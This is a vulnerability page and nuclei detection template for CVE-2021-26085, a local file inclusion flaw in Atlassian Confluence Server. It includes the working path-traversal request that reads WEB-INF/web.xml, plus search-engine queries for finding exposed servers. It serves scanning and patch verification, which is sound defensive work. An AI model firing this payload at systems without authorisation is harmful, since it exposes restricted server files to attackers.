Atlassian Confluence Server - Local File Inclusion

Exploited in the wild. Listed by CISA on 2022-03-28; known to be used by ransomware.

mediumseverity

5.3CVSS score

99.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Atlassian Confluence Server allows remote attackers to view restricted resources via local file inclusion in the /s/ endpoint.

Impact

An attacker can access sensitive information stored on the server, potentially leading to unauthorized access or data leakage.

Fix

Apply the latest security patches provided by Atlassian to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml
Positive when: contains "<display-name>Confluence</display-name>" and "com.atlassian.confluence.setup.ConfluenceAppConfig" AND status 200

Run it with nuclei: nuclei -id CVE-2021-26085 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-26085

info:
  name: Atlassian Confluence Server - Local File Inclusion
  author: princechaddha
  severity: medium
  description: Atlassian Confluence Server allows remote attackers to view restricted resources via local file inclusion in the /s/ endpoint.
  impact: |
    An attacker can access sensitive information stored on the server, potentially leading to unauthorized access or data leakage.
  remediation: |
    Apply the latest security patches provided by Atlassian to fix the vulnerability.
  reference:
    - https://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
    - https://jira.atlassian.com/browse/CONFSERVER-67893
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26085
    - http://packetstormsecurity.com/files/164401/Atlassian-Confluence-Server-7.5.1-Arbitrary-File-Read.html
    - https://github.com/e-hakson/OSCP
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2021-26085
    cwe-id: CWE-425
    epss-score: 0.99937
    epss-percentile: 0.99971
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: confluence_data_center
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian confluence"
    fofa-query: app="atlassian-confluence"
  tags: cve2021,cve,kev,packetstorm,confluence,atlassian,lfi,intrusive,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/s/{{randstr}}/_/;/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - <display-name>Confluence</display-name>
          - com.atlassian.confluence.setup.ConfluenceAppConfig
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from